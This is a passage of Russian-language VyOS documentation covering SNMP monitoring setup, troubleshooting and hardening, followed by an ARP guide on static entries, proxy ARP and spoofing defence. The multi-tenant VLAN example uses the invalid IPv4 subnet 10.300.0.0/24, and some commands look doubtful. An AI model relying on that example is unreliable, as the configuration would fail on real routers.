4. Community: `SecretMonitoring`
5. Port: `161`
6. Add Device

LibreNMS автоматически обнаружит:
- Interfaces
- VLANs
- Routing protocols
- System metrics

**SNMPv3 в LibreNMS**:
```
SNMP Version: v3
Auth Level: authPriv
Auth User: monitor
Auth Password: AuthPassword123!
Crypto: AES
Crypto Password: PrivPassword456!
```

### PRTG

**SNMP Traffic sensor**:

1. Add Sensor → SNMP Traffic Sensor
2. Device: VyOS Router
3. SNMP Version: v2c
4. Community String: public
5. Interface: eth0
6. Traffic Mode: Use interface counters
7. Add Sensor

**Custom SNMP sensor**:
1. Add Sensor → SNMP Custom
2. OID: `1.3.6.1.4.1.2021.11.9.0` (CPU)
3. Sensor name: CPU Usage
4. Unit: Percent

### Prometheus + SNMP Exporter

**snmp.yml**:
```yaml
auths:
  public_v2:
    community: public
    security_level: noAuthNoPriv
    version: 2

modules:
  vyos:
    walk:
      - 1.3.6.1.2.1.1    # System
      - 1.3.6.1.2.1.2    # Interfaces
      - 1.3.6.1.4.1.2021 # UCD-SNMP-MIB
    metrics:
      - name: sysUpTime
        oid: 1.3.6.1.2.1.1.3
        type: gauge
      - name: ifInOctets
        oid: 1.3.6.1.2.1.2.2.1.10
        type: counter
```

**Prometheus config**:
```yaml
scrape_configs:
  - job_name: 'snmp'
    static_configs:
      - targets:
        - 192.168.1.1
    metrics_path: /snmp
    params:
      module: [vyos]
    relabel_configs:
      - source_labels: [__address__]
        target_label: __param_target
      - source_labels: [__param_target]
        target_label: instance
      - target_label: __address__
        replacement: localhost:9116
```

## Мониторинг и диагностика

### Проверка SNMP service

```bash
# Service status
show service snmp

# SNMP daemon status
systemctl status snmpd

# Listening ports
netstat -ulnp | grep 161
```

### SNMP tools на VyOS

```bash
# snmpwalk (получить все OID)
snmpwalk -v2c -c public localhost

# snmpget (specific OID)
snmpget -v2c -c public localhost 1.3.6.1.2.1.1.5.0

# snmpbulkwalk (faster для больших MIB)
snmpbulkwalk -v2c -c public localhost
```

### Debugging

```bash
# SNMP logs
show log | grep snmp

# Detailed snmpd log
cat /var/log/snmpd.log

# Test from remote
snmpwalk -v2c -c public -d 192.168.1.1
```

### Performance monitoring

```bash
# SNMP request rate
watch -n 1 'netstat -s | grep -i snmp'

# Bandwidth через SNMP
snmpget -v2c -c public 192.168.1.1 1.3.6.1.2.1.2.2.1.10.2
# Repeat и calculate delta
```

## Troubleshooting

### SNMP не отвечает

**Проблема**: SNMP queries timeout.

**Причины**:
1. SNMP service не запущен
2. Firewall блокирует UDP 161
3. Wrong community string
4. Listen address неправильный

**Диагностика**:
```bash
# Проверить service
show service snmp

# Проверить слушает ли
netstat -ulnp | grep 161

# Firewall
show firewall ipv4 input filter

# Test локально
snmpget -v2c -c public localhost 1.3.6.1.2.1.1.5.0
```

**Решение**:
```bash
# Enable SNMP
set service snmp community public authorization ro
set service snmp listen-address 0.0.0.0 port 161

# Firewall
set firewall ipv4 input filter rule 50 action accept
set firewall ipv4 input filter rule 50 source address 192.168.1.0/24
set firewall ipv4 input filter rule 50 destination port 161
set firewall ipv4 input filter rule 50 protocol udp

commit
```

### SNMPv3 authentication failed

**Проблема**: "Authentication failure" для SNMPv3.

**Причины**:
1. Wrong username/password
2. Auth type mismatch
3. Security level mismatch

**Диагностика**:
```bash
# Проверить users
show service snmp v3

# Test с verbose
snmpwalk -v3 -l authPriv -u monitor \
  -a MD5 -A 'WrongPassword' \
  -x AES -X 'PrivPassword' \
  -d 192.168.1.1
```

**Решение**:
```bash
# Проверить пароли
show configuration service snmp v3 user monitor

# Пересоздать user
delete service snmp v3 user monitor
set service snmp v3 user monitor auth type md5
set service snmp v3 user monitor auth plaintext-password 'CorrectAuthPass!'
set service snmp v3 user monitor privacy type aes
set service snmp v3 user monitor privacy plaintext-password 'CorrectPrivPass!'

commit
```

### Community string не работает

**Проблема**: "No Such Name" или timeout.

**Причины**:
1. Community не существует
2. Network restriction блокирует
3. Authorization type неправильный

**Решение**:
```bash
# Проверить communities
show configuration service snmp community

# Добавить network
set service snmp community public network 192.168.1.0/24

# Или allow all (не рекомендуется)
set service snmp community public network 0.0.0.0/0

commit
```

### Traps не приходят

**Проблема**: Monitoring server не получает traps.

**Причины**:
1. Trap target не настроен
2. Firewall на NMS блокирует UDP 162
3. Community string неправильный

**Решение**:
```bash
# Configure trap
set service snmp trap-target 192.168.1.100 community 'trapCommunity'
set service snmp trap-target 192.168.1.100 port 162

# Test trap
snmptrap -v2c -c trapCommunity 192.168.1.100 '' \
  1.3.6.1.6.3.1.1.5.3 \
  1.3.6.1.2.1.1.5.0 s "Test Trap"

commit
```

### OID не возвращает данные

**Проблема**: Specific OID возвращает "No Such Object".

**Причины**:
1. OID не существует
2. View restriction блокирует
3. Feature не enabled

**Решение**:
```bash
# Walk MIB для поиска OID
snmpwalk -v2c -c public localhost | grep -i cpu

# Проверить view restrictions
show configuration service snmp v3 view

# Enable необходимые MIB
# VyOS поддерживает standard MIBs по умолчанию
```

## Безопасность

### Рекомендации по безопасности

1. **Используйте SNMPv3**:
```bash
set service snmp v3 user secure auth type sha
set service snmp v3 user secure auth plaintext-password 'StrongAuth!'
set service snmp v3 user secure privacy type aes
set service snmp v3 user secure privacy plaintext-password 'StrongPriv!'
```

2. **Strong community strings**:
```bash
# Не используйте 'public', 'private'
set service snmp community H8kL2mP9qR4sT7v authorization ro
```

3. **Network restrictions**:
```bash
# Только с monitoring servers
set service snmp community secure network 192.168.1.100/32
set service snmp community secure network 192.168.1.101/32
```

4. **Firewall**:
```bash
set firewall ipv4 input filter rule 50 action accept
set firewall ipv4 input filter rule 50 source address 192.168.1.100/32
set firewall ipv4 input filter rule 50 destination port 161
set firewall ipv4 input filter rule 50 protocol udp
```

5. **Read-only access**:
```bash
# Избегайте RW communities
set service snmp community monitor authorization ro
```

6. **Specific listen address**:
```bash
# Не listen на WAN
set service snmp listen-address 192.168.1.1 port 161
```

7. **Views для SNMPv3**:
```bash
# Ограничить доступ к sensitive OID
set service snmp v3 view limited oid 1.3.6.1.2.1.2
set service snmp v3 group monitoring view limited
```

8. **Rate limiting**:
```bash
set firewall ipv4 input filter rule 50 recent count 10
set firewall ipv4 input filter rule 50 recent time minute 1
```

9. **Logging**:
```bash
# Monitor SNMP access
show log | grep snmp
```

10. **Regular audits**:
    - Review communities
    - Check access logs
    - Update passwords

## Примеры конфигураций

### Пример 1: Basic monitoring (SNMPv2c)

```bash
# Community для Zabbix
set service snmp community zabbix authorization ro
set service snmp community zabbix network 192.168.1.100/32

# System info
set service snmp location 'Main Office - Server Room'
set service snmp contact 'netadmin@company.com'

# Listen
set service snmp listen-address 0.0.0.0 port 161

# Firewall
set firewall ipv4 input filter rule 50 action accept
set firewall ipv4 input filter rule 50 source address 192.168.1.100/32
set firewall ipv4 input filter rule 50 destination port 161
set firewall ipv4 input filter rule 50 protocol udp

commit
save
```

### Пример 2: Enterprise SNMPv3

```bash
# SNMPv3 users
set service snmp v3 user monitor auth type sha
set service snmp v3 user monitor auth plaintext-password 'MonitorAuth2024!'
set service snmp v3 user monitor privacy type aes
set service snmp v3 user monitor privacy plaintext-password 'MonitorPriv2024!'
set service snmp v3 user monitor mode ro

# View
set service snmp v3 view monitoring oid 1.3.6.1

# Group
set service snmp v3 group monitoring-group mode ro
set service snmp v3 group monitoring-group view monitoring

# Assign
set service snmp v3 user monitor group monitoring-group

# Trap
set service snmp v3 trap-target 192.168.1.100 user monitor
set service snmp v3 trap-target 192.168.1.100 auth type sha
set service snmp v3 trap-target 192.168.1.100 auth plaintext-password 'TrapAuth!'
set service snmp v3 trap-target 192.168.1.100 privacy type aes
set service snmp v3 trap-target 192.168.1.100 privacy plaintext-password 'TrapPriv!'

# System
set service snmp location 'Data Center A - Rack 12'
set service snmp contact 'noc@enterprise.com'

# Listen
set service snmp listen-address 10.0.0.1 port 161

commit
save
```

### Пример 3: Multi-NMS environment

```bash
# Zabbix
set service snmp community zabbix authorization ro
set service snmp community zabbix network 192.168.1.100/32

# Nagios
set service snmp community nagios authorization ro
set service snmp community nagios network 192.168.1.101/32

# PRTG
set service snmp community prtg authorization ro
set service snmp community prtg network 192.168.1.102/32

# Management
set service snmp community mgmt authorization ro
set service snmp community mgmt network 10.0.0.0/8

# Traps для всех
set service snmp trap-target 192.168.1.100 community 'trapCommunity'
set service snmp trap-target 192.168.1.101 community 'trapCommunity'
set service snmp trap-target 192.168.1.102 community 'trapCommunity'

# System
set service snmp location 'Branch Office'
set service snmp contact 'admin@branch.com'

set service snmp listen-address 0.0.0.0 port 161

commit
save
```

## Лучшие практики

1. **SNMPv3 для production**:
   - Authentication и encryption
   - User-based access control

2. **Strong credentials**:
   - Community strings: 20+ символов
   - SNMPv3 passwords: 12+ символов

3. **Network restrictions**:
   - Specific monitoring server IPs
   - Не allow 0.0.0.0/0

4. **Read-only access**:
   - RW только если absolutely необходимо
   - Ограничить RW к specific OID

5. **Firewall protection**:
   - Allow только monitoring servers
   - Rate limiting

6. **Regular monitoring**:
   - Check SNMP performance
   - Review access logs
   - Monitor for authentication failures

7. **Documentation**:
   - Document communities/users
   - NMS configurations
   - Custom OID mappings

8. **Testing**:
   - Test after configuration
   - Verify all OID accessible
   - Test traps

9. **Backup**:
   - Document SNMP credentials separately
   - Include в disaster recovery plan

10. **Keep updated**:
    - Regular password rotation
    - Update NMS templates
    - Review and cleanup unused communities

## Заключение

SNMP в VyOS обеспечивает мощный инструмент для мониторинга и управления сетевой инфраструктурой. Основные возможности:

- **SNMPv1/v2c/v3 support** - совместимость со всеми NMS
- **Standard MIBs** - IF-MIB, HOST-RESOURCES-MIB, UCD-SNMP-MIB
- **Traps** - асинхронные уведомления
- **Security** - SNMPv3 с аутентификацией и encryption

Используйте SNMP для:
- Bandwidth monitoring
- Interface status tracking
- CPU/Memory monitoring
- Alerting через traps
- Integration с enterprise NMS

Правильная конфигурация SNMP обеспечивает visibility в сетевую инфраструктуру и позволяет proactive monitoring и troubleshooting.


---

# ARP - Address Resolution Protocol

Source: https://opennix.org/docs/vyos/routing/vyos-arp/


Address Resolution Protocol (ARP) - это протокол сетевого уровня, используемый для преобразования IP-адресов (IPv4) в MAC-адреса (аппаратные адреса) в локальных сетях Ethernet.

## Обзор

ARP является критически важным протоколом для работы IPv4 сетей:
- Преобразование IP-адресов в MAC-адреса
- Кэширование соответствий для уменьшения сетевого трафика
- Динамическое обновление ARP таблицы
- Поддержка статических записей для критической инфраструктуры
- Proxy ARP для межсетевого взаимодействия

**Основные задачи ARP**:
- Разрешение адресов в локальной сети
- Поддержание ARP кэша
- Обработка ARP запросов и ответов
- Обеспечение связности на канальном уровне

**Для IPv6** используется протокол Neighbor Discovery Protocol (NDP), который является частью ICMPv6.

### Как работает ARP

1. **ARP Request**: Хост отправляет широковещательный запрос "Кто имеет IP X?"
2. **ARP Reply**: Узел с IP X отвечает своим MAC-адресом
3. **Кэширование**: Оба узла сохраняют соответствие IP-MAC в ARP таблице
4. **Timeout**: Записи стареют и удаляются через определенное время (по умолчанию ~60 секунд)

### Типы ARP записей

**Dynamic ARP**:
- Создаются автоматически при обмене ARP запросами/ответами
- Имеют ограниченное время жизни (TTL)
- Обновляются при использовании
- Удаляются при истечении времени

**Static ARP**:
- Создаются вручную администратором
- Не истекают автоматически
- Используются для критичных узлов
- Защита от ARP spoofing
- Обозначаются флагом "CM" (Complete, Manual)

## Статические ARP записи

Статические ARP записи используются для постоянного связывания IP-адреса с MAC-адресом без автоматического истечения.

### Базовая конфигурация

Создание статической ARP записи:

```
set protocols static arp interface eth0 address 192.0.2.1 mac 01:23:45:67:89:01
commit
```

Синтаксис:
```
set protocols static arp interface <interface> address <IP> mac <MAC>
```

Параметры:
- **interface** - сетевой интерфейс (eth0, eth1, bond0 и т.д.)
- **address** - IPv4 адрес узла
- **mac** - MAC адрес в формате XX:XX:XX:XX:XX:XX

### Множественные статические записи

```
set protocols static arp interface eth0 address 192.168.1.10 mac 00:11:22:33:44:55
set protocols static arp interface eth0 address 192.168.1.20 mac 00:11:22:33:44:66
set protocols static arp interface eth0 address 192.168.1.30 mac 00:11:22:33:44:77
commit
```

### Статические ARP для разных интерфейсов

```
set protocols static arp interface eth0 address 192.168.1.1 mac aa:bb:cc:dd:ee:01
set protocols static arp interface eth1 address 10.0.0.1 mac aa:bb:cc:dd:ee:02
set protocols static arp interface eth2 address 172.16.0.1 mac aa:bb:cc:dd:ee:03
commit
```

### Удаление статической записи

```
delete protocols static arp interface eth0 address 192.168.1.10
commit
```

## Просмотр ARP таблицы

### Показать все ARP записи

```
show arp
```

Пример вывода:
```
Address                  HWtype  HWaddress           Flags Mask     Iface
10.1.1.1                 ether   00:53:00:de:23:2e   C              eth1
10.1.1.100               ether   00:53:00:de:23:aa   CM             eth1
192.168.1.1              ether   52:54:00:12:34:56   C              eth0
192.168.1.10                     (incomplete)                       eth0
```

Обозначения флагов:
- **C** (Complete) - запись полная и валидная
- **M** (Manual/Permanent) - статическая запись
- **P** (Published) - proxy ARP запись
- **(incomplete)** - разрешение адреса не завершено

### Показать статические ARP записи

```
show protocols static arp
```

Выводит только статически настроенные ARP записи:
```
Address                  HWtype  HWaddress           Flags Mask     Iface
10.1.1.100               ether   00:53:00:de:23:aa   CM             eth1
192.168.1.10             ether   00:11:22:33:44:55   CM             eth0
```

### Показать ARP для конкретного интерфейса

```
show protocols static arp interface eth1
```

Вывод только для указанного интерфейса:
```
Address                  HWtype  HWaddress           Flags Mask     Iface
10.1.1.100               ether   00:53:00:de:23:aa   CM             eth1
```

### Операционные команды

Показать ARP статистику:
```
show interfaces ethernet eth0 statistics
```

Очистить динамический ARP кэш (требует operational mode):
```
reset arp cache
```

Очистить ARP для конкретного адреса:
```
reset arp cache address 192.168.1.10
```

## Proxy ARP

Proxy ARP позволяет роутеру отвечать на ARP запросы от имени других узлов, которые находятся в другой подсети или недоступны напрямую.

### Включение Proxy ARP

Proxy ARP включается на уровне интерфейса:

```
set interfaces ethernet eth0 ip enable-proxy-arp
commit
```

### Использование Proxy ARP

**Сценарий 1: Подсети в одном broadcast домене**

Топология:
```
[Host A: 192.168.1.10/24] --- [VyOS eth0] --- [Host B: 192.168.2.20/24]
                               Proxy ARP
```

Конфигурация:
```
set interfaces ethernet eth0 address 192.168.1.1/24
set interfaces ethernet eth0 address 192.168.2.1/24
set interfaces ethernet eth0 ip enable-proxy-arp
commit
```

VyOS будет отвечать на ARP запросы для обеих подсетей, позволяя хостам общаться.

**Сценарий 2: Transparent routing**

```
set interfaces ethernet eth0 ip enable-proxy-arp
set interfaces ethernet eth1 ip enable-proxy-arp
commit
```

### Отключение Proxy ARP

```
delete interfaces ethernet eth0 ip enable-proxy-arp
commit
```

### Проверка Proxy ARP

Проверить настройку:
```
show configuration commands | grep proxy-arp
```

Проверить состояние:
```
show interfaces ethernet eth0
```

## ARP Filtering и безопасность

### ARP Filtering

ARP filtering помогает предотвратить ARP spoofing атаки путем проверки ARP пакетов.

Включение ARP filtering на интерфейсе (через sysctl):

```
set interfaces ethernet eth0 ip arp-filter
commit
```

### Настройка ARP cache timeout

Изменение времени жизни ARP записей (в секундах):

```
set system sysctl parameter net.ipv4.neigh.default.gc_stale_time value 3600
commit
```

Параметры ARP кэша:
- **gc_stale_time** - время до пометки записи как устаревшей (3600 сек = 1 час)
- **gc_thresh1** - минимальное количество записей
- **gc_thresh2** - порог для сборки мусора
- **gc_thresh3** - максимальное количество записей

### Ограничение размера ARP таблицы

```
set system sysctl parameter net.ipv4.neigh.default.gc_thresh1 value 128
set system sysctl parameter net.ipv4.neigh.default.gc_thresh2 value 512
set system sysctl parameter net.ipv4.neigh.default.gc_thresh3 value 1024
commit
```

### Защита от ARP spoofing

Использование статических ARP записей для критичных узлов:

```
# Gateway
set protocols static arp interface eth0 address 192.168.1.1 mac 00:1a:2b:3c:4d:5e

# DNS серверы
set protocols static arp interface eth0 address 192.168.1.53 mac 00:1a:2b:3c:4d:5f

# Критичные сервера
set protocols static arp interface eth0 address 192.168.1.100 mac 00:1a:2b:3c:4d:60

commit
```

### ARP announce settings

Контроль поведения ARP announcements:

```
set system sysctl parameter net.ipv4.conf.all.arp_announce value 2
commit
```

Значения:
- **0** - использовать любой локальный адрес
- **1** - избегать адресов не из целевой подсети
- **2** - всегда использовать лучший локальный адрес для этой цели

### ARP ignore settings

Контроль ответов на ARP запросы:

```
set system sysctl parameter net.ipv4.conf.all.arp_ignore value 1
commit
```

Значения:
- **0** - отвечать на любой запрос для любого локального адреса
- **1** - отвечать только если IP адрес запроса настроен на этом интерфейсе
- **2-8** - различные режимы фильтрации

## Gratuitous ARP

Gratuitous ARP - это ARP запрос/ответ, отправленный узлом для объявления или обновления своего IP-MAC соответствия без запроса от других узлов.

### Использование Gratuitous ARP

Gratuitous ARP используется для:
- Обнаружения дублирования IP адресов
- Обновления ARP кэша на других узлах
- Failover в VRRP/HSRP
- После изменения MAC адреса
- Быстрого обновления таблиц коммутаторов

### Отправка Gratuitous ARP

VyOS автоматически отправляет gratuitous ARP при:
- Поднятии интерфейса
- Изменении IP адреса
- VRRP failover

Ручная отправка (через operational mode):
```
reset arp interface eth0
```

### Настройка accept_gratuitous_arp

Принимать gratuitous ARP пакеты:

```
set system sysctl parameter net.ipv4.conf.all.arp_accept value 1
commit
```

Значения:
- **0** - не принимать (по умолчанию)
- **1** - создавать новые записи из gratuitous ARP

## Примеры конфигурации

### Пример 1: Yandex Cloud - Статические ARP для критической инфраструктуры

**Сценарий**: В Yandex Cloud развернута критическая инфраструктура с VyOS роутером, database сервером и application сервером. Необходимо зафиксировать ARP записи для предотвращения ARP spoofing.

**Топология**:
```
[VyOS Router]
      |
      | eth0: 192.168.10.0/24
      |
      +--- Database Server: 192.168.10.10
      +--- App Server: 192.168.10.20
      +--- Backup Server: 192.168.10.30
```

**Конфигурация**:
```
# Network interface
set interfaces ethernet eth0 address 192.168.10.1/24
set interfaces ethernet eth0 description 'Internal Infrastructure Network'

# Статические ARP для критических серверов
set protocols static arp interface eth0 address 192.168.10.10 mac 52:54:00:aa:bb:01
set protocols static arp interface eth0 address 192.168.10.20 mac 52:54:00:aa:bb:02
set protocols static arp interface eth0 address 192.168.10.30 mac 52:54:00:aa:bb:03

# ARP security settings
set system sysctl parameter net.ipv4.conf.eth0.arp_announce value 2
set system sysctl parameter net.ipv4.conf.eth0.arp_ignore value 1

# ARP cache limits
set system sysctl parameter net.ipv4.neigh.eth0.gc_stale_time value 7200

commit
save
```

**Проверка**:
```
show protocols static arp
show arp
```

**Ожидаемый результат**:
```
Address                  HWtype  HWaddress           Flags Mask     Iface
192.168.10.10            ether   52:54:00:aa:bb:01   CM             eth0
192.168.10.20            ether   52:54:00:aa:bb:02   CM             eth0
192.168.10.30            ether   52:54:00:aa:bb:03   CM             eth0
```

Флаг "CM" подтверждает статические (Manual) записи.

### Пример 2: VK Cloud - ARP безопасность в multi-tenant окружении

**Сценарий**: VK Cloud хостинг с несколькими клиентами на изолированных VLAN. VyOS выступает как edge router с Proxy ARP для обеспечения связности и защиты от ARP атак.

**Топология**:
```
                    [VyOS Edge Router]
                            |
         +------------------+------------------+
         |                  |                  |
    eth0.100           eth0.200           eth0.300
    VLAN 100           VLAN 200           VLAN 300
   Customer A         Customer B         Customer C
   10.100.0.0/24      10.200.0.0/24      10.300.0.0/24
```

**Конфигурация**:
```
# VLAN interfaces
set interfaces ethernet eth0 vif 100 address 10.100.0.1/24
set interfaces ethernet eth0 vif 100 description 'Customer A Network'
set interfaces ethernet eth0 vif 200 address 10.200.0.1/24
set interfaces ethernet eth0 vif 200 description 'Customer B Network'
set interfaces ethernet eth0 vif 300 address 10.300.0.1/24
set interfaces ethernet eth0 vif 300 description 'Customer C Network'

# Proxy ARP для каждого VLAN
set interfaces ethernet eth0 vif 100 ip enable-proxy-arp
set interfaces ethernet eth0 vif 200 ip enable-proxy-arp
set interfaces ethernet eth0 vif 300 ip enable-proxy-arp

# Статические ARP для default gateways (защита от spoofing)
set protocols static arp interface eth0.100 address 10.100.0.254 mac 00:0c:29:aa:00:01
set protocols static arp interface eth0.200 address 10.200.0.254 mac 00:0c:29:aa:00:02
set protocols static arp interface eth0.300 address 10.300.0.254 mac 00:0c:29:aa:00:03

# ARP security на всех интерфейсах
set system sysctl parameter net.ipv4.conf.all.arp_announce value 2
set system sysctl parameter net.ipv4.conf.all.arp_ignore value 1
set system sysctl parameter net.ipv4.conf.all.arp_accept value 0

# Ограничение ARP таблицы для каждого VLAN
set system sysctl parameter net.ipv4.neigh.eth0/100.gc_thresh1 value 64
set system sysctl parameter net.ipv4.neigh.eth0/100.gc_thresh2 value 256
set system sysctl parameter net.ipv4.neigh.eth0/100.gc_thresh3 value 512

set system sysctl parameter net.ipv4.neigh.eth0/200.gc_thresh1 value 64
set system sysctl parameter net.ipv4.neigh.eth0/200.gc_thresh2 value 256
set system sysctl parameter net.ipv4.neigh.eth0/200.gc_thresh3 value 512

set system sysctl parameter net.ipv4.neigh.eth0/300.gc_thresh1 value 64
set system sysctl parameter net.ipv4.neigh.eth0/300.gc_thresh2 value 256
set system sysctl parameter net.ipv4.neigh.eth0/300.gc_thresh3 value 512

# Firewall для изоляции между VLAN
set firewall ipv4 name CUSTOMER-ISOLATION default-action drop
set firewall ipv4 name CUSTOMER-ISOLATION rule 10 action accept
set firewall ipv4 name CUSTOMER-ISOLATION rule 10 state established
set firewall ipv4 name CUSTOMER-ISOLATION rule 10 state related

# Применение firewall
set interfaces ethernet eth0 vif 100 firewall in name CUSTOMER-ISOLATION
set interfaces ethernet eth0 vif 200 firewall in name CUSTOMER-ISOLATION
set interfaces ethernet eth0 vif 300 firewall in name CUSTOMER-ISOLATION

commit
save
```

**Проверка**:
```
show protocols static arp
show arp interface eth0.100
show arp interface eth0.200
show arp interface eth0.300
show interfaces ethernet eth0 vif 100
```

### Пример 3: Защита от ARP spoofing на корпоративной сети

**Сценарий**: Корпоративная сеть с критичными серверами и рабочими станциями. Необходимо защитить ключевую инфраструктуру от ARP spoofing атак.

**Конфигурация**:
```
# Критичные сервера - статические ARP
set protocols static arp interface eth1 address 192.168.100.10 mac 00:50:56:aa:bb:10
set protocols static arp interface eth1 address 192.168.100.20 mac 00:50:56:aa:bb:20
set protocols static arp interface eth1 address 192.168.100.30 mac 00:50:56:aa:bb:30

# DNS сервера
set protocols static arp interface eth1 address 192.168.100.53 mac 00:50:56:aa:bb:53
set protocols static arp interface eth1 address 192.168.100.54 mac 00:50:56:aa:bb:54

# Domain controllers
set protocols static arp interface eth1 address 192.168.100.100 mac 00:50:56:aa:bb:c1
set protocols static arp interface eth1 address 192.168.100.101 mac 00:50:56:aa:bb:c2

# ARP security
set system sysctl parameter net.ipv4.conf.eth1.arp_announce value 2
set system sysctl parameter net.ipv4.conf.eth1.arp_ignore value 1
set system sysctl parameter net.ipv4.conf.eth1.arp_accept value 0

# Увеличенное время жизни для статических записей
set system sysctl parameter net.ipv4.neigh.eth1.gc_stale_time value 14400

commit
save
```

### Пример 4: Proxy ARP для legacy оборудования

**Сценарий**: Legacy устройства с фиксированными IP адресами в разных подсетях должны общаться без изменения конфигурации.

**Топология**:
```
[Legacy Device A: 10.1.1.100/24] --- [VyOS] --- [Legacy Device B: 10.2.2.200/24]
                                   eth0   eth1
                                Proxy ARP enabled
```

**Конфигурация**:
```
# Interface configuration
set interfaces ethernet eth0 address 10.1.1.1/24
set interfaces ethernet eth0 description 'Legacy Network A'
set interfaces ethernet eth1 address 10.2.2.1/24
set interfaces ethernet eth1 description 'Legacy Network B'

# Enable Proxy ARP
set interfaces ethernet eth0 ip enable-proxy-arp
set interfaces ethernet eth1 ip enable-proxy-arp

# Static routes для обеспечения связности
set protocols static route 10.1.1.0/24 interface eth0
set protocols static route 10.2.2.0/24 interface eth1

# Опционально: статические ARP для legacy устройств
set protocols static arp interface eth0 address 10.1.1.100 mac aa:bb:cc:dd:ee:01
set protocols static arp interface eth1 address 10.2.2.200 mac aa:bb:cc:dd:ee:02

commit
save
```

### Пример 5: High-availability с VRRP и Gratuitous ARP

**Сценарий**: Два VyOS роутера в VRRP кластере. При failover необходимо быстро обновить ARP таблицы клиентов.

**Конфигурация** (Master):
```
# VRRP configuration
set high-availability vrrp group LAN vrid 10
set high-availability vrrp group LAN interface eth0
set high-availability vrrp group LAN virtual-address 192.168.1.1/24
set high-availability vrrp group LAN priority 200

# Accept gratuitous ARP для быстрого failover
set system sysctl parameter net.ipv4.conf.eth0.arp_accept value 1

# Статические ARP для критичных серверов
set protocols static arp interface eth0 address 192.168.1.10 mac 00:50:56:11:22:33
set protocols static arp interface eth0 address 192.168.1.20 mac 00:50:56:11:22:44

commit
save
```

**Конфигурация** (Backup):
```
# VRRP configuration
set high-availability vrrp group LAN vrid 10
set high-availability vrrp group LAN interface eth0
set high-availability vrrp group LAN virtual-address 192.168.1.1/24
set high-availability vrrp group LAN priority 100

# Accept gratuitous ARP для быстрого failover
set system sysctl parameter net.ipv4.conf.eth0.arp_accept value 1

# Те же статические ARP записи
set protocols static arp interface eth0 address 192.168.1.10 mac 00:50:56:11:22:33
set protocols static arp interface eth0 address 192.168.1.20 mac 00:50:56:11:22:44

commit
save
```

При failover VRRP автоматически отправит gratuitous ARP для виртуального IP 192.168.1.1, обновляя ARP таблицы всех клиентов.

## Операционные команды

### Просмотр ARP информации

Все ARP записи:
```
show arp
```

Статические ARP конфигурация:
```
show protocols static arp
```

ARP для конкретного интерфейса:
```
show protocols static arp interface eth0
```

ARP записи в табличном формате:
```
show arp | column -t
```

Поиск конкретного IP:
```
show arp | grep 192.168.1.10
```

### Конфигурационные команды

Показать ARP конфигурацию:
```
show configuration protocols static arp
```

Показать всю конфигурацию с ARP:
```
show configuration commands | grep arp
```

### Сброс ARP кэша

Очистить весь динамический ARP кэш:
```
reset arp cache
```

Очистить для конкретного адреса:
```
reset arp cache address 192.168.1.10
```

Очистить для интерфейса:
```
reset arp cache interface eth0
```

### Мониторинг ARP

Просмотр ARP статистики интерфейса:
```
show interfaces ethernet eth0 statistics
```

Непрерывный мониторинг ARP таблицы:
```
watch -n 2 show arp
```

### Debugging ARP

Включить debug ARP (временно):
```
monitor protocol arp
```

Просмотр kernel ARP таблицы:
```
run show arp
```

Проверка ARP через tcpdump:
```
monitor traffic interface eth0 filter "arp"
```

## Устранение неполадок

### Проблема: ARP записи не создаются

**Симптомы**:
- Пинг не проходит
- ARP таблица показывает "(incomplete)"
- Нет связности с узлом в локальной сети

**Диагностика**:
```
# Проверить ARP таблицу
show arp

# Проверить интерфейс
show interfaces ethernet eth0

# Проверить связность на L2
monitor traffic interface eth0 filter "arp"
```

**Решения**:
1. Проверить физическое подключение
2. Убедиться что интерфейс в состоянии "up"
3. Проверить VLAN конфигурацию
4. Проверить firewall правила
5. Убедиться что целевой узел отвечает на ARP

### Проблема: Статическая ARP запись не применяется

**Симптомы**:
- После commit статическая запись не появляется в ARP таблице
- Динамическая запись переопределяет статическую

**Диагностика**:
```
# Проверить конфигурацию
show configuration protocols static arp

# Проверить ARP таблицу
show arp
show protocols static arp
```

**Решения**:
1. Проверить правильность IP и MAC адресов
2. Убедиться что интерфейс существует и активен
3. Очистить ARP кэш и пересоздать запись:
   ```
   reset arp cache
   commit
   ```
4. Проверить синтаксис команды
5. Перезагрузить интерфейс:
   ```
   set interfaces ethernet eth0 disable
   commit
   delete interfaces ethernet eth0 disable
   commit
   ```

### Проблема: ARP spoofing атака

**Симптомы**:
- Нестабильная связность
- Трафик перехватывается
- Изменяющиеся MAC адреса для одного IP
- Security alerts от IDS

**Диагностика**:
```
# Мониторинг ARP изменений
watch -n 1 show arp

# Проверка дублирующихся IP
show arp | sort -k1 | uniq -d -f1
```

**Решения**:
1. Использовать статические ARP для критичных узлов
2. Включить ARP filtering:
   ```
   set system sysctl parameter net.ipv4.conf.all.arp_ignore value 1
   set system sysctl parameter net.ipv4.conf.all.arp_accept value 0
   ```
3. Настроить port security на коммутаторах
4. Использовать DHCP snooping
5. Включить Dynamic ARP Inspection (DAI) на коммутаторах
6. Мониторить ARP таблицу на аномалии

### Проблема: Переполнение ARP таблицы

**Симптомы**:
- ARP записи не создаются
- Сообщения "Neighbor table overflow"
- Degraded network performance

**Диагностика**:
```
# Проверить размер ARP таблицы
show arp | wc -l

# Проверить kernel параметры
show system sysctl | grep neigh
```

**Решения**:
1. Увеличить размер ARP таблицы:
   ```
   set system sysctl parameter net.ipv4.neigh.default.gc_thresh1 value 256
   set system sysctl parameter net.ipv4.neigh.default.gc_thresh2 value 1024
   set system sysctl parameter net.ipv4.neigh.default.gc_thresh3 value 2048
   commit
   ```
2. Уменьшить время жизни записей:
   ```
   set system sysctl parameter net.ipv4.neigh.default.gc_stale_time value 60
   commit
   ```
3. Разбить большие broadcast домены на меньшие VLAN
4. Расследовать возможную ARP flood атаку

### Проблема: Proxy ARP не работает

**Симптомы**:
- Узлы в разных подсетях не видят друг друга
- VyOS не отвечает на ARP запросы для других подсетей

**Диагностика**:
```
# Проверить настройку Proxy ARP
show configuration interfaces ethernet eth0 | grep proxy

# Мониторить ARP трафик
monitor traffic interface eth0 filter "arp"

# Проверить routing
show ip route
```

**Решения**:
1. Убедиться что Proxy ARP включен на правильном интерфейсе:
   ```
   set interfaces ethernet eth0 ip enable-proxy-arp
   commit
   ```
2. Проверить что маршруты настроены корректно
3. Проверить firewall правила
4. Убедиться что IP forwarding включен (по умолчанию включен на VyOS)
5. Проверить что подсети не overlap

### Проблема: Медленное ARP разрешение

**Симптомы**:
- Задержки при первом соединении
- Таймауты при установке соединения
- Медленный ping первого пакета

**Диагностика**:
```
# Проверить ARP timeout
show system sysctl | grep gc_stale

# Тест производительности
ping 192.168.1.10 -c 10
```

**Решения**:
1. Использовать статические ARP для часто используемых узлов
